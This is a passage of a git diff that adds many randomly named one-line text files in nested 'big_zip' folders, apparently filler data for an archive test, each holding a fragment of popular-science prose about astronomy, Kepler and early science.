+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_wlqclwzjnf.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_wlqclwzjnf.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_wlqclwzjnf.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ycnnwqitlxkmsxcbs.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ycnnwqitlxkmsxcbs.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ycnnwqitlxkmsxcbs.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/amkhozlhz.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/amkhozlhz.txt
new file mode 100644
index 0000000..0b482eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/amkhozlhz.txt
@@ -0,0 +1 @@
+large brains, an upright posture and two little front legs very much like hands, which they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/beucyoiviuq.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/beucyoiviuq.txt
new file mode 100644
index 0000000..374a4dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/beucyoiviuq.txt
@@ -0,0 +1 @@
+it but to give an idea of it would be impossible. It is the union of grace and majesty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cthorovo.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cthorovo.txt
new file mode 100644
index 0000000..883d08c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cthorovo.txt
@@ -0,0 +1 @@
+time of Pythagoras. Kepler thought the two numbers were connected, that the reason there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cuhrlbmtyrdbpgbwk.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cuhrlbmtyrdbpgbwk.txt
new file mode 100644
index 0000000..99b92e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cuhrlbmtyrdbpgbwk.txt
@@ -0,0 +1 @@
+least as interesting as the conclusion:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cypbzplurxfsqdndagbv.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cypbzplurxfsqdndagbv.txt
new file mode 100644
index 0000000..64a4844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/cypbzplurxfsqdndagbv.txt
@@ -0,0 +1 @@
+soaring from horizon to horizon. Some moons will be so close that their planet will loom
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/dzdfxfjsyhp.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/dzdfxfjsyhp.txt
new file mode 100644
index 0000000..7aad056
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/dzdfxfjsyhp.txt
@@ -0,0 +1 @@
+especially extravagant lengths in the Soviet Union, implies that individuals so employed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_aiuconttbinemvrplqk.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_aiuconttbinemvrplqk.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_aiuconttbinemvrplqk.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ajmhfqqjemnxffpbqdoxpcwk.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ajmhfqqjemnxffpbqdoxpcwk.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ajmhfqqjemnxffpbqdoxpcwk.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bacgavwdnrukhvry.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bacgavwdnrukhvry.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bacgavwdnrukhvry.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bhpgwhnxjx.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bhpgwhnxjx.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bhpgwhnxjx.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bqpeaqszdukgm.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bqpeaqszdukgm.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_bqpeaqszdukgm.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gklmerhajvfygipuoztbuv.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gklmerhajvfygipuoztbuv.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gklmerhajvfygipuoztbuv.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gmvkslkwdkcg.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gmvkslkwdkcg.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gmvkslkwdkcg.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gxrrlmychdx.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gxrrlmychdx.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_gxrrlmychdx.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_hasyqnoeqmnvfnufnsa.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_hasyqnoeqmnvfnufnsa.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_hasyqnoeqmnvfnufnsa.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsesxltxkdbkqlmf.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsesxltxkdbkqlmf.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsesxltxkdbkqlmf.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsvoizcegxpuwu.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsvoizcegxpuwu.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_jsvoizcegxpuwu.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_kaeoyefktuebobo.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_kaeoyefktuebobo.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_kaeoyefktuebobo.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_merkmwxij.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_merkmwxij.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_merkmwxij.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_nvrzqpcnpei.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_nvrzqpcnpei.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_nvrzqpcnpei.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_oniqgunkdfgvzxidtveaiu.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_oniqgunkdfgvzxidtveaiu.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_oniqgunkdfgvzxidtveaiu.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ptrgogfvnhjttj.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ptrgogfvnhjttj.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_ptrgogfvnhjttj.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_pyxnsezrgrgprgdhfd.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_pyxnsezrgrgprgdhfd.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_pyxnsezrgrgprgdhfd.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qbuyljkfwmbveahdpntn.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qbuyljkfwmbveahdpntn.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qbuyljkfwmbveahdpntn.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qotumrhtpbhidlbossyb.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qotumrhtpbhidlbossyb.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_qotumrhtpbhidlbossyb.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wddktqcnufhpe.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wddktqcnufhpe.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wddktqcnufhpe.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wodeqtdyfxltsttjoczfh.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wodeqtdyfxltsttjoczfh.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_wodeqtdyfxltsttjoczfh.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_xvdkrwvhadnq.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_xvdkrwvhadnq.txt
new file mode 100644
index 0000000..14aa04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/file_xvdkrwvhadnq.txt
@@ -0,0 +1 @@
+struggling out of the intertidal slime, struggling from shape to shape and from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hbxgopcsgdkqemoml.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hbxgopcsgdkqemoml.txt
new file mode 100644
index 0000000..54e4f96
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hbxgopcsgdkqemoml.txt
@@ -0,0 +1 @@
+white mantles, and different skins. Several of the canoes of these Indians were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hrzjrieikagrvwzufksaab.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hrzjrieikagrvwzufksaab.txt
new file mode 100644
index 0000000..fe05f09
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/hrzjrieikagrvwzufksaab.txt
@@ -0,0 +1 @@
+with an endless regression . . . Know that the world is uncreated, as time itself is,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jiizizqrest.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jiizizqrest.txt
new file mode 100644
index 0000000..918f1d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jiizizqrest.txt
@@ -0,0 +1 @@
+unworthy to suppose such a thing in a Creation constituted in the best possible way.’ So at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jkzlpfwwqncmyqdxlqgdlo.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jkzlpfwwqncmyqdxlqgdlo.txt
new file mode 100644
index 0000000..2db4c16
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/jkzlpfwwqncmyqdxlqgdlo.txt
@@ -0,0 +1 @@
+cause all beings to live.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ltxikbzzxb.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ltxikbzzxb.txt
new file mode 100644
index 0000000..3cd34e6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ltxikbzzxb.txt
@@ -0,0 +1 @@
+blue-green algae for three billion years, which suggests that large lifeforms with specialized
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/nrtwtautupflfwfctnsku.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/nrtwtautupflfwfctnsku.txt
new file mode 100644
index 0000000..6c3d470
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/nrtwtautupflfwfctnsku.txt
@@ -0,0 +1 @@
+silicate and iron.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ucpoccwgupvtehyiebaz.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ucpoccwgupvtehyiebaz.txt
new file mode 100644
index 0000000..6b88b98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ucpoccwgupvtehyiebaz.txt
@@ -0,0 +1 @@
+Of the physical contents of that glorious Library not a single scroll remains. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vomicbim.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vomicbim.txt
new file mode 100644
index 0000000..0a8ad96
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vomicbim.txt
@@ -0,0 +1 @@
+Martian samples to Earth, we must have a containment procedure that is stupefyingly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vqzdxeynet.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vqzdxeynet.txt
new file mode 100644
index 0000000..084f04b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/vqzdxeynet.txt
@@ -0,0 +1 @@
+gravitational nonuniformity to collect the amount of mass that seems to reside in the Virgo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/xfqxfqfudlojsxnauwv.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/xfqxfqfudlojsxnauwv.txt
new file mode 100644
index 0000000..dd18557
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/xfqxfqfudlojsxnauwv.txt
@@ -0,0 +1 @@
+that last decimal point. For the world to be logically consistent, there must be a cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ybfyhhlchwurmvn.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ybfyhhlchwurmvn.txt
new file mode 100644
index 0000000..14dc266
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ybfyhhlchwurmvn.txt
@@ -0,0 +1 @@
+Alcmaeon, is the first person known to have dissected a human body; he distinguished between arteries and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zpmdegvcshhhryfrjd.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zpmdegvcshhhryfrjd.txt
new file mode 100644
index 0000000..0552e20
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zpmdegvcshhhryfrjd.txt
@@ -0,0 +1 @@
+is when compared to them. A very fit consideration, and matter of Reflection, for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ztdxsqeuidumoenay.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ztdxsqeuidumoenay.txt
new file mode 100644
index 0000000..d58ea2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/ztdxsqeuidumoenay.txt
@@ -0,0 +1 @@
+a unique and devastating perspective. Traveling through another dimension provides, as an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zuafqjymfpjoixksndn.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zuafqjymfpjoixksndn.txt
new file mode 100644
index 0000000..cd41b61
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/folder_dalkwbcppf/zuafqjymfpjoixksndn.txt
@@ -0,0 +1 @@
+exceptionally bright object in the right place, which they soon identified as the planet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_clnrpcigeukdevfslex.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_clnrpcigeukdevfslex.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_clnrpcigeukdevfslex.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_ecohebdyzhb.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_ecohebdyzhb.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_ecohebdyzhb.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_enwxfnwyygdzjrca.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_enwxfnwyygdzjrca.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_enwxfnwyygdzjrca.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_ggygbrolctgmlsbsdl.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_ggygbrolctgmlsbsdl.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_ggygbrolctgmlsbsdl.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_hhsosvxwniskmvviwkfrhpx.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_hhsosvxwniskmvviwkfrhpx.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_hhsosvxwniskmvviwkfrhpx.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_hxcubxymiesvwe.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_hxcubxymiesvwe.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_hxcubxymiesvwe.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_kukycssvvubr.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_kukycssvvubr.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_kukycssvvubr.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_lmenaqmujzwvoxstp.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_lmenaqmujzwvoxstp.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_lmenaqmujzwvoxstp.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_odtoadkitqagphyltasaug.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_odtoadkitqagphyltasaug.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_odtoadkitqagphyltasaug.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/file_orylhlogbjeemp.txt b/big_zip/big-zip-files/folder_eqpflnlidb/file_orylhlogbjeemp.txt
new file mode 100644
index 0000000..73f6b1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/file_orylhlogbjeemp.txt
@@ -0,0 +1 @@
+him to study the motion of, say, Venus, Kepler might never have discovered the true orbits
\ No newline at end of file
